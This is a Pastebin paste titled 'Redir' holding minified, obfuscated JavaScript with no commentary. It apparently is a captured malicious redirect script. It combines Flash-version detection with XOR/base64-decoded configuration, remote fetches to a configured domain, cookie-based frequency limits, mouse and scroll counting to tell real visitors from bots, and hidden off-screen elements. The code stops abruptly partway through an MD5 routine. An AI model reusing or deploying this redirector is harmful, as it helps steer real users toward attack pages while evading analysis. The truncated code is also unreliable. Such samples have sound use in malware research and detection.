Kafeine

Redir

Jun 11th, 2014
396
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. (function (v, j, vb) {
  2.     function $a(a) {
  3.         return null != /[\\\"<>\.;]/.exec(a) && typeof encodeURIComponent != y ? encodeURIComponent(a) : a
  4.     }
  5.  
  6.     function T(a, b) {
  7.         if (ab) {
  8.             var c = b ? "visible" : "hidden";
  9.             U && H(a) ? H(a).style.visibility = c : bb("#" + a, "visibility:" + c)
  10.         }
  11.     }
  12.  
  13.     function bb(a, b, c, e) {
  14.         if (!p.c || !p.P) {
  15.             var f = q.getElementsByTagName("head")[0];
  16.             if (f) {
  17.                 c = c && "string" == typeof c ? c : "screen";
  18.                 e && (Ba = K = null);
  19.                 if (!K || Ba != c) e = q.createElement("style"), e.setAttribute("type", "text/css"), e.setAttribute("media", c), K = f.appendChild(e), p.c && (p.d && typeof q.styleSheets !=
  20.                     y && 0 < q.styleSheets.length) && (K = q.styleSheets[q.styleSheets.length - 1]), Ba = c;
  21.                 p.c && p.d ? K && typeof K.addRule == L && K.addRule(a, b) : K && typeof q.createTextNode != y && K.appendChild(q.createTextNode(a + " {" + b + "}"))
  22.             }
  23.         }
  24.     }
  25.  
  26.     function ja(a) {
  27.         var b = p.l;
  28.         a = a.split(".");
  29.         a[0] = parseInt(a[0], 10);
  30.         a[1] = parseInt(a[1], 10) || 0;
  31.         a[2] = parseInt(a[2], 10) || 0;
  32.         return b[0] > a[0] || b[0] == a[0] && b[1] > a[1] || b[0] == a[0] && b[1] == a[1] && b[2] >= a[2] ? !0 : !1
  33.     }
  34.  
  35.     function H(a) {
  36.         var b = null;
  37.         try {
  38.             b = q.getElementById(a)
  39.         } catch (c) {}
  40.         return b
  41.     }
  42.  
  43.     function cb(a) {
  44.         var b = H(a);
  45.         b && "OBJECT" ==
  46.             b.nodeName && (p.c && p.d ? (b.style.display = "none", function () {
  47.                 if (4 == b.readyState) {
  48.                     var c = H(a);
  49.                     if (c) {
  50.                         for (var e in c) "function" == typeof c[e] && (c[e] = null);
  51.                         c.parentNode.removeChild(c)
  52.                     }
  53.                 } else setTimeout(arguments.callee, 10)
  54.             }()) : b.parentNode.removeChild(b))
  55.     }
  56.  
  57.     function Ca(a, b, c) {
  58.         var e, f = H(c);
  59.         if (p.h && 312 > p.h) return e;
  60.         if (f)
  61.             if (typeof a.id == y && (a.id = c), p.c && p.d) {
  62.                 var h = "",
  63.                     d;
  64.                 for (d in a) a[d] != Object.prototype[d] && ("data" == d.toLowerCase() ? b.movie = a[d] : "styleclass" == d.toLowerCase() ? h += ' class\x3d"' + a[d] + '"' : "classid" != d.toLowerCase() &&
  65.                     (h += " " + d + '\x3d"' + a[d] + '"'));
  66.                 d = "";
  67.                 for (var g in b) b[g] != Object.prototype[g] && (d += '\x3cparam name\x3d"' + g + '" value\x3d"' + b[g] + '" /\x3e');
  68.                 f.outerHTML = '\x3cobject classid\x3d"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"' + h + "\x3e" + d + "\x3c/object\x3e";
  69.                 ka[ka.length] = a.id;
  70.                 e = H(a.id)
  71.             } else {
  72.                 g = q.createElement(L);
  73.                 g.setAttribute("type", la);
  74.                 for (var k in a) a[k] != Object.prototype[k] && ("styleclass" == k.toLowerCase() ? g.setAttribute("class", a[k]) : "classid" != k.toLowerCase() && g.setAttribute(k, a[k]));
  75.                 for (h in b) b[h] != Object.prototype[h] &&
  76.                     "movie" != h.toLowerCase() && (a = g, d = h, k = b[h], c = q.createElement("param"), c.setAttribute("name", d), c.setAttribute("value", k), a.appendChild(c));
  77.                 f.parentNode.replaceChild(g, f);
  78.                 e = g
  79.             }
  80.         return e
  81.     }
  82.  
  83.     function Da(a) {
  84.         var b = q.createElement("div");
  85.         if (p.d && p.c) b.innerHTML = a.innerHTML;
  86.         else if (a = a.getElementsByTagName(L)[0])
  87.             if (a = a.childNodes)
  88.                 for (var c = a.length, e = 0; e < c; e++)!(1 == a[e].nodeType && "PARAM" == a[e].nodeName) && 8 != a[e].nodeType && b.appendChild(a[e].cloneNode(!0));
  89.         return b
  90.     }
  91.  
  92.     function wb(a) {
  93.         if (p.c && p.d && 4 != a.readyState) {
  94.             var b =
  95.                 q.createElement("div");
  96.             a.parentNode.insertBefore(b, a);
  97.             b.parentNode.replaceChild(Da(a), b);
  98.             a.style.display = "none";
  99.             (function () {
  100.                 4 == a.readyState ? a.parentNode.removeChild(a) : setTimeout(arguments.callee, 10)
  101.             })()
  102.         } else a.parentNode.replaceChild(Da(a), a)
  103.     }
  104.  
  105.     function Ea(a, b, c, e) {
  106.         ma = !0;
  107.         Fa = e || null;
  108.         db = {
  109.             success: !1,
  110.             id: c
  111.         };
  112.         var f = H(c);
  113.         if (f) {
  114.             "OBJECT" == f.nodeName ? (ca = Da(f), na = null) : (ca = f, na = c);
  115.             a.id = eb;
  116.             if (typeof a.width == y || !/%$/.test(a.width) && 310 > parseInt(a.width, 10)) a.width = "310";
  117.             if (typeof a.height == y || !/%$/.test(a.height) &&
  118.                 137 > parseInt(a.height, 10)) a.height = "137";
  119.             q.title = q.title.slice(0, 47) + " - Flash Player Installation";
  120.             e = p.c && p.d ? "ActiveX" : "PlugIn";
  121.             e = "MMredirectURL\x3d" + E.location.toString().replace(/&/g, "%26") + "\x26MMplayerType\x3d" + e + "\x26MMdoctitle\x3d" + q.title;
  122.             b.flashvars = typeof b.flashvars != y ? b.flashvars + ("\x26" + e) : e;
  123.             p.c && (p.d && 4 != f.readyState) && (e = q.createElement("div"), c += "SWFObjectNew", e.setAttribute("id", c), f.parentNode.insertBefore(e, f), f.style.display = "none", function () {
  124.                 4 == f.readyState ? f.parentNode.removeChild(f) :
  125.                     setTimeout(arguments.callee, 10)
  126.             }());
  127.             Ca(a, b, c)
  128.         }
  129.     }
  130.  
  131.     function Ga() {
  132.         return !ma && ja("6.0.65") && (p.d || p.P) && !(p.h && 312 > p.h)
  133.     }
  134.  
  135.     function Ha(a) {
  136.         var b = null;
  137.         if ((a = H(a)) && "OBJECT" == a.nodeName) typeof a.SetVariable != y ? b = a : (a = a.getElementsByTagName(L)[0]) && (b = a);
  138.         return b
  139.     }
  140.  
  141.     function Ia() {
  142.         var a = O.length;
  143.         if (0 < a)
  144.             for (var b = 0; b < a; b++) {
  145.                 var c = O[b].id,
  146.                     e = O[b].ca,
  147.                     f = {
  148.                         success: !1,
  149.                         id: c
  150.                     };
  151.                 if (0 < p.l[0]) {
  152.                     var h = H(c);
  153.                     if (h)
  154.                         if (ja(O[b].oa) && !(p.h && 312 > p.h)) T(c, !0), e && (f.success = !0, f.Q = Ha(c), e(f));
  155.                         else if (O[b].N && Ga()) {
  156.                         f = {};
  157.                         f.data = O[b].N;
  158.                         f.width =
  159.                             h.getAttribute("width") || "0";
  160.                         f.height = h.getAttribute("height") || "0";
  161.                         h.getAttribute("class") && (f.mb = h.getAttribute("class"));
  162.                         h.getAttribute("align") && (f.align = h.getAttribute("align"));
  163.                         for (var d = {}, h = h.getElementsByTagName("param"), g = h.length, k = 0; k < g; k++) "movie" != h[k].getAttribute("name").toLowerCase() && (d[h[k].getAttribute("name")] = h[k].getAttribute("value"));
  164.                         Ea(f, d, c, e)
  165.                     } else wb(h), e && e(f)
  166.                 } else if (T(c, !0), e) {
  167.                     if ((c = Ha(c)) && typeof c.SetVariable != y) f.success = !0, f.Q = c;
  168.                     e(f)
  169.                 }
  170.             }
  171.     }
  172.  
  173.     function fb(a) {
  174.         if (typeof E.addEventListener !=
  175.             y) E.addEventListener("load", a, !1);
  176.         else if (typeof q.addEventListener != y) q.addEventListener("load", a, !1);
  177.         else if (typeof E.attachEvent != y) {
  178.             var b = E;
  179.             b.attachEvent("onload", a);
  180.             X[X.length] = [b, "onload", a]
  181.         } else if ("function" == typeof E.onload) {
  182.             var c = E.onload;
  183.             E.onload = function () {
  184.                 c();
  185.                 a()
  186.             }
  187.         } else E.onload = a
  188.     }
  189.  
  190.     function gb(a) {
  191.         U ? a() : oa[oa.length] = a
  192.     }
  193.  
  194.     function Y() {
  195.         if (!U) {
  196.             try {
  197.                 var a = q.getElementsByTagName("body")[0].appendChild(q.createElement("span"));
  198.                 a.parentNode.removeChild(a)
  199.             } catch (b) {
  200.                 return
  201.             }
  202.             U = !0;
  203.             for (var a = oa.length,
  204.                 c = 0; c < a; c++) oa[c]()
  205.         }
  206.     }
  207.  
  208.     function hb(a) {
  209.         return null != /[\\\"<>\.;]/.exec(a) && typeof encodeURIComponent != w ? encodeURIComponent(a) : a
  210.     }
  211.  
  212.     function V(a, b) {
  213.         if (ib) {
  214.             var c = b ? "visible" : "hidden";
  215.             W && I(a) ? I(a).style.visibility = c : jb("#" + a, "visibility:" + c)
  216.         }
  217.     }
  218.  
  219.     function jb(a, b, c, e) {
  220.         if (!n.c || !n.P) {
  221.             var f = u.getElementsByTagName("head")[0];
  222.             if (f) {
  223.                 c = c && "string" == typeof c ? c : "screen";
  224.                 e && (Ja = M = null);
  225.                 if (!M || Ja != c) e = u.createElement("style"), e.setAttribute("type", "text/css"), e.setAttribute("media", c), M = f.appendChild(e), n.c && (n.d && typeof u.styleSheets !=
  226.                     w && 0 < u.styleSheets.length) && (M = u.styleSheets[u.styleSheets.length - 1]), Ja = c;
  227.                 n.c && n.d ? M && typeof M.addRule == N && M.addRule(a, b) : M && typeof u.createTextNode != w && M.appendChild(u.createTextNode(a + " {" + b + "}"))
  228.             }
  229.         }
  230.     }
  231.  
  232.     function pa(a) {
  233.         var b = n.l;
  234.         a = a.split(".");
  235.         a[0] = parseInt(a[0], 10);
  236.         a[1] = parseInt(a[1], 10) || 0;
  237.         a[2] = parseInt(a[2], 10) || 0;
  238.         return b[0] > a[0] || b[0] == a[0] && b[1] > a[1] || b[0] == a[0] && b[1] == a[1] && b[2] >= a[2] ? !0 : !1
  239.     }
  240.  
  241.     function I(a) {
  242.         var b = null;
  243.         try {
  244.             b = u.getElementById(a)
  245.         } catch (c) {}
  246.         return b
  247.     }
  248.  
  249.     function kb(a) {
  250.         var b = I(a);
  251.         b && "OBJECT" ==
  252.             b.nodeName && (n.c && n.d ? (b.style.display = "none", function () {
  253.                 if (4 == b.readyState) {
  254.                     var c = I(a);
  255.                     if (c) {
  256.                         for (var e in c) "function" == typeof c[e] && (c[e] = null);
  257.                         c.parentNode.removeChild(c)
  258.                     }
  259.                 } else setTimeout(arguments.callee, 10)
  260.             }()) : b.parentNode.removeChild(b))
  261.     }
  262.  
  263.     function Ka(a, b, c) {
  264.         var e, f = I(c);
  265.         if (n.h && 312 > n.h) return e;
  266.         if (f)
  267.             if (typeof a.id == w && (a.id = c), n.c && n.d) {
  268.                 var h = "",
  269.                     d;
  270.                 for (d in a) a[d] != Object.prototype[d] && ("data" == d.toLowerCase() ? b.movie = a[d] : "styleclass" == d.toLowerCase() ? h += ' class\x3d"' + a[d] + '"' : "classid" != d.toLowerCase() &&
  271.                     (h += " " + d + '\x3d"' + a[d] + '"'));
  272.                 d = "";
  273.                 for (var g in b) b[g] != Object.prototype[g] && (d += '\x3cparam name\x3d"' + g + '" value\x3d"' + b[g] + '" /\x3e');
  274.                 f.outerHTML = '\x3cobject classid\x3d"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"' + h + "\x3e" + d + "\x3c/object\x3e";
  275.                 qa[qa.length] = a.id;
  276.                 e = I(a.id)
  277.             } else {
  278.                 g = u.createElement(N);
  279.                 g.setAttribute("type", ra);
  280.                 for (var k in a) a[k] != Object.prototype[k] && ("styleclass" == k.toLowerCase() ? g.setAttribute("class", a[k]) : "classid" != k.toLowerCase() && g.setAttribute(k, a[k]));
  281.                 for (h in b) b[h] != Object.prototype[h] &&
  282.                     "movie" != h.toLowerCase() && (a = g, d = h, k = b[h], c = u.createElement("param"), c.setAttribute("name", d), c.setAttribute("value", k), a.appendChild(c));
  283.                 f.parentNode.replaceChild(g, f);
  284.                 e = g
  285.             }
  286.         return e
  287.     }
  288.  
  289.     function La(a) {
  290.         var b = u.createElement("div");
  291.         if (n.d && n.c) b.innerHTML = a.innerHTML;
  292.         else if (a = a.getElementsByTagName(N)[0])
  293.             if (a = a.childNodes)
  294.                 for (var c = a.length, e = 0; e < c; e++)!(1 == a[e].nodeType && "PARAM" == a[e].nodeName) && 8 != a[e].nodeType && b.appendChild(a[e].cloneNode(!0));
  295.         return b
  296.     }
  297.  
  298.     function xb(a) {
  299.         if (n.c && n.d && 4 != a.readyState) {
  300.             var b =
  301.                 u.createElement("div");
  302.             a.parentNode.insertBefore(b, a);
  303.             b.parentNode.replaceChild(La(a), b);
  304.             a.style.display = "none";
  305.             (function () {
  306.                 4 == a.readyState ? a.parentNode.removeChild(a) : setTimeout(arguments.callee, 10)
  307.             })()
  308.         } else a.parentNode.replaceChild(La(a), a)
  309.     }
  310.  
  311.     function Ma(a, b, c, e) {
  312.         sa = !0;
  313.         Na = e || null;
  314.         lb = {
  315.             success: !1,
  316.             id: c
  317.         };
  318.         var f = I(c);
  319.         if (f) {
  320.             "OBJECT" == f.nodeName ? (da = La(f), ta = null) : (da = f, ta = c);
  321.             a.id = mb;
  322.             if (typeof a.width == w || !/%$/.test(a.width) && 310 > parseInt(a.width, 10)) a.width = "310";
  323.             if (typeof a.height == w || !/%$/.test(a.height) &&
  324.                 137 > parseInt(a.height, 10)) a.height = "137";
  325.             u.title = u.title.slice(0, 47) + " - Flash Player Installation";
  326.             e = n.c && n.d ? "ActiveX" : "PlugIn";
  327.             e = "MMredirectURL\x3d" + F.location.toString().replace(/&/g, "%26") + "\x26MMplayerType\x3d" + e + "\x26MMdoctitle\x3d" + u.title;
  328.             b.flashvars = typeof b.flashvars != w ? b.flashvars + ("\x26" + e) : e;
  329.             n.c && (n.d && 4 != f.readyState) && (e = u.createElement("div"), c += "SWFObjectNew", e.setAttribute("id", c), f.parentNode.insertBefore(e, f), f.style.display = "none", function () {
  330.                 4 == f.readyState ? f.parentNode.removeChild(f) :
  331.                     setTimeout(arguments.callee, 10)
  332.             }());
  333.             Ka(a, b, c)
  334.         }
  335.     }
  336.  
  337.     function Oa() {
  338.         return !sa && pa("6.0.65") && (n.d || n.P) && !(n.h && 312 > n.h)
  339.     }
  340.  
  341.     function Pa(a) {
  342.         var b = null;
  343.         if ((a = I(a)) && "OBJECT" == a.nodeName) typeof a.SetVariable != w ? b = a : (a = a.getElementsByTagName(N)[0]) && (b = a);
  344.         return b
  345.     }
  346.  
  347.     function Qa() {
  348.         var a = P.length;
  349.         if (0 < a)
  350.             for (var b = 0; b < a; b++) {
  351.                 var c = P[b].id,
  352.                     e = P[b].ca,
  353.                     f = {
  354.                         success: !1,
  355.                         id: c
  356.                     };
  357.                 if (0 < n.l[0]) {
  358.                     var h = I(c);
  359.                     if (h)
  360.                         if (pa(P[b].oa) && !(n.h && 312 > n.h)) V(c, !0), e && (f.success = !0, f.Q = Pa(c), e(f));
  361.                         else if (P[b].N && Oa()) {
  362.                         f = {};
  363.                         f.data = P[b].N;
  364.                         f.width =
  365.                             h.getAttribute("width") || "0";
  366.                         f.height = h.getAttribute("height") || "0";
  367.                         h.getAttribute("class") && (f.mb = h.getAttribute("class"));
  368.                         h.getAttribute("align") && (f.align = h.getAttribute("align"));
  369.                         for (var d = {}, h = h.getElementsByTagName("param"), g = h.length, k = 0; k < g; k++) "movie" != h[k].getAttribute("name").toLowerCase() && (d[h[k].getAttribute("name")] = h[k].getAttribute("value"));
  370.                         Ma(f, d, c, e)
  371.                     } else xb(h), e && e(f)
  372.                 } else if (V(c, !0), e) {
  373.                     if ((c = Pa(c)) && typeof c.SetVariable != w) f.success = !0, f.Q = c;
  374.                     e(f)
  375.                 }
  376.             }
  377.     }
  378.  
  379.     function nb(a) {
  380.         if (typeof F.addEventListener !=
  381.             w) F.addEventListener("load", a, !1);
  382.         else if (typeof u.addEventListener != w) u.addEventListener("load", a, !1);
  383.         else if (typeof F.attachEvent != w) {
  384.             var b = F;
  385.             b.attachEvent("onload", a);
  386.             Z[Z.length] = [b, "onload", a]
  387.         } else if ("function" == typeof F.onload) {
  388.             var c = F.onload;
  389.             F.onload = function () {
  390.                 c();
  391.                 a()
  392.             }
  393.         } else F.onload = a
  394.     }
  395.  
  396.     function ob(a) {
  397.         W ? a() : ua[ua.length] = a
  398.     }
  399.  
  400.     function aa() {
  401.         if (!W) {
  402.             try {
  403.                 var a = u.getElementsByTagName("body")[0].appendChild(u.createElement("span"));
  404.                 a.parentNode.removeChild(a)
  405.             } catch (b) {
  406.                 return
  407.             }
  408.             W = !0;
  409.             for (var a = ua.length,
  410.                 c = 0; c < a; c++) ua[c]()
  411.         }
  412.     }
  413.  
  414.     function D(a, b) {
  415.         function c() {}
  416.         c.prototype = b.prototype;
  417.         a.prototype = new c;
  418.         a.prototype.constructor = a;
  419.         a.qb = b.prototype;
  420.         b.prototype.constructor == Object.prototype.constructor && (b.prototype.constructor = b)
  421.     }
  422.  
  423.     function pb(a) {
  424.         this.a = d.parseJSON(d.F(a));
  425.         v.globalInfo = {};
  426.         d.log(this.a);
  427.         if (this.a.ukDomain && this.a.ukUri && !v.udata && !this.a.dontGoToUK) {
  428.             var b = this,
  429.                 c = setTimeout(function () {
  430.                     b.ma()
  431.                 }, 5E3);
  432.             d.aa(this.a.ukDomain, this.a.ukUri, function (a) {
  433.                 clearTimeout(c);
  434.                 d.parseJSON(d.F(a));
  435.                 v.globalInfo.udata =
  436.                     a;
  437.                 b.ma()
  438.             }, "jsf")
  439.         } else !this.a.foreignUid && this.a.matchingUrl && this.xa(this.a.matchingUrl), this.ma()
  440.     }
  441.  
  442.     function qb() {
  443.         this.ha = this.ga = 0;
  444.         var a = j,
  445.             b = function () {
  446.                 this.ga++
  447.             }.bind(this);
  448.         a.addEventListener ? a.addEventListener("mousemove", b, !1) : a.attachEvent("onmousemove", b);
  449.         a = j;
  450.         b = function () {
  451.             this.ha++
  452.         }.bind(this);
  453.         a.addEventListener ? a.addEventListener("scroll", b, !1) : a.attachEvent("onscroll", b)
  454.     }
  455.  
  456.     function G() {}
  457.  
  458.     function va() {}
  459.  
  460.     function Ra() {}
  461.  
  462.     function Sa() {}
  463.  
  464.     function Ta() {}
  465.  
  466.     function ba() {}
  467.  
  468.     function Ua() {}
  469.  
  470.     function wa() {}
  471.  
  472.     function Va() {}
  473.  
  474.     function Wa() {}
  475.  
  476.     function ea() {}
  477.  
  478.     function fa() {}
  479.  
  480.     function Xa() {}
  481.     var w = "undefined",
  482.         N = "object",
  483.         ra = "application/x-shockwave-flash",
  484.         mb = "SWFObjectExprInst",
  485.         F = v,
  486.         u = j,
  487.         Q = navigator,
  488.         rb = !1,
  489.         ua = [
  490.             function () {
  491.                 if (rb) {
  492.                     var a = u.getElementsByTagName("body")[0],
  493.                         b = u.createElement(N);
  494.                     b.setAttribute("type", ra);
  495.                     var c = a.appendChild(b);
  496.                     if (c) {
  497.                         var e = 0;
  498.                         (function () {
  499.                             if (typeof c.GetVariable != w) {
  500.                                 var f = c.GetVariable("$version");
  501.                                 f && (f = f.split(" ")[1].split(","), n.l = [parseInt(f[0], 10), parseInt(f[1], 10), parseInt(f[2], 10)])
  502.                             } else if (10 > e) {
  503.                                 e++;
  504.                                 setTimeout(arguments.callee, 10);
  505.                                 return
  506.                             }
  507.                             a.removeChild(b);
  508.                             c = null;
  509.                             Qa()
  510.                         })()
  511.                     } else Qa()
  512.                 } else Qa()
  513.             }
  514.         ],
  515.         P = [],
  516.         qa = [],
  517.         Z = [],
  518.         da, ta, Na, lb, W = !1,
  519.         sa = !1,
  520.         M, Ja, ib = !0,
  521.         n, yb = typeof u.getElementById != w && typeof u.getElementsByTagName != w && typeof u.createElement != w,
  522.         xa = Q.userAgent.toLowerCase(),
  523.         ya = Q.platform.toLowerCase(),
  524.         zb = ya ? /win/.test(ya) : /win/.test(xa),
  525.         Ab = ya ? /mac/.test(ya) : /mac/.test(xa),
  526.         Bb = /webkit/.test(xa) ? parseFloat(xa.replace(/^.*webkit\/(\d+(\.\d+)?).*$/, "$1")) : !1,
  527.         Ya = !+"\v1",
  528.         ga = [0, 0, 0],
  529.         C = null;
  530.     if (typeof Q.plugins != w &&
  531.         typeof Q.plugins["Shockwave Flash"] == N) {
  532.         if ((C = Q.plugins["Shockwave Flash"].description) && !(typeof Q.mimeTypes != w && Q.mimeTypes[ra] && !Q.mimeTypes[ra].enabledPlugin)) rb = !0, Ya = !1, C = C.replace(/^.*\s+(\S+\s+\S+$)/, "$1"), ga[0] = parseInt(C.replace(/^(.*)\..*$/, "$1"), 10), ga[1] = parseInt(C.replace(/^.*\.(.*)\s.*$/, "$1"), 10), ga[2] = /[a-zA-Z]/.test(C) ? parseInt(C.replace(/^.*[a-zA-Z]+(.*)$/, "$1"), 10) : 0
  533.     } else if (typeof F.ActiveXObject != w) try {
  534.         var sb = new ActiveXObject("ShockwaveFlash.ShockwaveFlash");
  535.         if (sb && (C = sb.GetVariable("$version"))) Ya = !0, C = C.split(" ")[1].split(","), ga = [parseInt(C[0], 10), parseInt(C[1], 10), parseInt(C[2], 10)]
  536.     } catch (Sb) {}
  537.     n = {
  538.         j: yb,
  539.         l: ga,
  540.         h: Bb,
  541.         c: Ya,
  542.         d: zb,
  543.         P: Ab
  544.     };
  545.     n.j && ((typeof u.readyState != w && "complete" == u.readyState || typeof u.readyState == w && (u.getElementsByTagName("body")[0] || u.body)) && aa(), W || (typeof u.addEventListener != w && u.addEventListener("DOMContentLoaded", aa, !1), n.c && n.d && (u.attachEvent("onreadystatechange", function () {
  546.         "complete" == u.readyState && (u.detachEvent("onreadystatechange", arguments.callee), aa())
  547.     }), F == top && function () {
  548.         if (!W) {
  549.             try {
  550.                 u.Ha.doScroll("left")
  551.             } catch (a) {
  552.                 setTimeout(arguments.callee,
  553.                     0);
  554.                 return
  555.             }
  556.             aa()
  557.         }
  558.     }()), n.h && function () {
  559.         W || (/loaded|complete/.test(u.readyState) ? aa() : setTimeout(arguments.callee, 0))
  560.     }(), nb(aa)));
  561.     n.c && n.d && v.attachEvent("onunload", function () {
  562.         for (var a = Z.length, b = 0; b < a; b++) Z[b][0].detachEvent(Z[b][1], Z[b][2]);
  563.         a = qa.length;
  564.         for (b = 0; b < a; b++) kb(qa[b]);
  565.         for (var c in n) n[c] = null;
  566.         n = null;
  567.         for (var e in d.p) d.p[e] = null;
  568.         d.p = null
  569.     });
  570.     qb.prototype = {
  571.         V: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_",
  572.         L: "left:-10000px;top:-10000px;height:1px;width:1px;position:absolute;",
  573.         O: function () {
  574.             return !v.addEventListener && !j.querySelector && v.attachEvent
  575.         },
  576.         u: function () {
  577.             if ("BackCompat" == j.compatMode && 10 > d.Xa()) return !1;
  578.             var a = j.createElement("div");
  579.             a.style.cssText = "position:fixed";
  580.             return a.style.position.match("fixed") ? !0 : !1
  581.         },
  582.         Ya: function (a) {
  583.             a.matchUrl && (this.M(a.matchUrl).style.cssText = this.L)
  584.         },
  585.         da: function (a) {
  586.             if (0 == a.limit && 0 == a.period) return !0;
  587.             if (null == this.ia(a.periodName)) {
  588.                 var b = parseInt(this.ia(a.limitName));
  589.                 if (0 == a.limit || isNaN(b) || b < a.limit) return !0
  590.             }
  591.             return !1
  592.         },
  593.         Xa: function () {
  594.             var a =
  595.                 999; - 1 != navigator.appVersion.indexOf("MSIE") && (a = parseFloat(navigator.appVersion.split("MSIE")[1]));
  596.             return a
  597.         },
  598.         Ba: function (a) {
  599.             var b = new Date,
  600.                 c = parseInt(this.ia(a.limitName), 10),
  601.                 c = isNaN(c) ? 1 : c + 1;
  602.             b.setTime(b.getTime() + 6E4 * parseInt(a.period, 10));
  603.             this.pa(a.periodName, 1, b, "/");
  604.             b.setTime(b.getTime() + 432E5);
  605.             this.pa(a.limitName, c, b, "/")
  606.         },
  607.         pa: function (a, b) {
  608.             var c = arguments,
  609.                 e = c.length,
  610.                 f = 2 < e ? c[2] : null,
  611.                 h = 3 < e ? c[3] : null,
  612.                 d = 4 < e ? c[4] : null;
  613.             j.cookie = a + "\x3d" + encodeURIComponent(b) + (null == f ? "" : "; expires\x3d" + f.toGMTString()) +
  614.                 (null == h ? "" : "; path\x3d" + h) + (null == d ? "" : "; domain\x3d" + d) + (!0 == (5 < e ? c[5] : !1) ? "; secure" : "")
  615.         },
  616.         na: function () {
  617.             var a, b = j.createElement("div"),
  618.                 c = ["Khtml", "Ms", "O", "Moz", "Webkit"],
  619.                 e = c.length;
  620.             a = function (a) {
  621.                 if (a in b.style) return !0;
  622.                 for (a = a.replace(/^[a-z]/, function (a) {
  623.                     return a.toUpperCase()
  624.                 }); e--;)
  625.                     if (c[e] + a in b.style) return !0;
  626.                 return !1
  627.             };
  628.             return a("boxShadow") && a("borderRadius")
  629.         },
  630.         log: function (a) {
  631.             console && (console.log ? console.log(arguments) : console.debug && console.debug(arguments))
  632.         },
  633.         ia: function (a) {
  634.             var b = " " +
  635.                 j.cookie;
  636.             a = " " + a + "\x3d";
  637.             var c = null,
  638.                 e = 0,
  639.                 f = 0;
  640.             0 < b.length && (e = b.indexOf(a), -1 != e && (e += a.length, f = -1 == b.indexOf(";", e) ? b.length : b.indexOf(";", e), c = decodeURIComponent(b.substring(e, f))));
  641.             return c
  642.         },
  643.         Ja: function (a, b) {
  644.             var c = "",
  645.                 e = "",
  646.                 f, h, d, g, k, j = 0;
  647.             b &= 255;
  648.             a = this.pb(a);
  649.             for (h = 0; h < a.length; e += String.fromCharCode(b ^ a.charCodeAt(h)), h++);
  650.             for (a = e; j < a.length;) f = a.charCodeAt(j++), e = a.charCodeAt(j++), h = a.charCodeAt(j++), d = f >> 2, f = (f & 3) << 4 | e >> 4, g = (e & 15) << 2 | h >> 6, k = h & 63, isNaN(e) ? g = k = 64 : isNaN(h) && (k = 64), c = c + this.V.charAt(d) +
  651.                 this.V.charAt(f) + this.V.charAt(g) + this.V.charAt(k);
  652.             return c
  653.         },
  654.         F: function (a, b) {
  655.             a = a.replace(/[\-]/g, "+").replace(/[_]/g, "/");
  656.             for (var c = [-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -1, -1, -1, 0, -1, -1, -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1, -1, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, -1, -1, -1, -1, -1], e, f, h = 0, d = [], g = 0, k = 0, h = 0; h < a.length; h++) f = a.charCodeAt(h), e = c[f & 127], -1 === e ? this.log("Illegal characters (code\x3d" + f + ") in position " + h) : (k = k << 6 | e, g += 6, 8 <= g && (g -= 8, "\x3d" !== a.charAt(h) && d.push(k >> g & 255), k &= (1 << g) - 1));
  657.             if (b) {
  658.                 c = [];
  659.                 b &= 255;
  660.                 for (e = 0; e < d.length; c.push(b ^ d[e]), e++);
  661.                 d = c
  662.             }
  663.             return this.ob(d)
  664.         },
  665.         ob: function (a) {
  666.             for (var b = [], c = 0, e = a.length, f, h, d; c < e;) f = a[c], h = a[c + 1], d = a[c + 2], 128 > f ? (b.push(String.fromCharCode(f)), c += 1) : 191 < f && 224 > f ? (b.push(String.fromCharCode((f & 31) << 6 | h & 63)), c += 2) : (b.push(String.fromCharCode((f &
  667.                 15) << 12 | (h & 63) << 6 | d & 63)), c += 3);
  668.             return b.join("")
  669.         },
  670.         pb: function (a) {
  671.             a = a.replace(/\r\n/g, "\n");
  672.             for (var b = "", c = 0; c < a.length; c++) {
  673.                 var e = a.charCodeAt(c);
  674.                 128 > e ? b += String.fromCharCode(e) : (127 < e && 2048 > e ? b += String.fromCharCode(e >> 6 | 192) : (b += String.fromCharCode(e >> 12 | 224), b += String.fromCharCode(e >> 6 & 63 | 128)), b += String.fromCharCode(e & 63 | 128))
  675.             }
  676.             return b
  677.         },
  678.         cb: function (a) {
  679.             function b(a, b) {
  680.                 var d = a[0],
  681.                     l = a[1],
  682.                     m = a[2],
  683.                     g = a[3],
  684.                     d = e(d, l, m, g, b[0], 7, -680876936),
  685.                     g = e(g, d, l, m, b[1], 12, -389564586),
  686.                     m = e(m, g, d, l, b[2], 17, 606105819),
  687.                     l =
  688.                     e(l, m, g, d, b[3], 22, -1044525330),
  689.                     d = e(d, l, m, g, b[4], 7, -176418897),
  690.                     g = e(g, d, l, m, b[5], 12, 1200080426),
  691.                     m = e(m, g, d, l, b[6], 17, -1473231341),
  692.                     l = e(l, m, g, d, b[7], 22, -45705983),
  693.                     d = e(d, l, m, g, b[8], 7, 1770035416),
  694.                     g = e(g, d, l, m, b[9], 12, -1958414417),
  695.                     m = e(m, g, d, l, b[10], 17, -42063),
  696.                     l = e(l, m, g, d, b[11], 22, -1990404162),
  697.                     d = e(d, l, m, g, b[12], 7, 1804603682),
  698.                     g = e(g, d, l, m, b[13], 12, -40341101),
  699.                     m = e(m, g, d, l, b[14], 17, -1502002290),
  700.                     l = e(l, m, g, d, b[15], 22, 1236535329),
  701.                     d = f(d, l, m, g, b[1], 5, -165796510),
  702.                     g = f(g, d, l, m, b[6], 9, -1069501632),
  703.                     m = f(m, g, d, l, b[11], 14, 643717713),
  704.                     l = f(l, m, g, d, b[0], 20, -373897302),
  705.                     d = f(d, l, m, g, b[5], 5, -701558691),
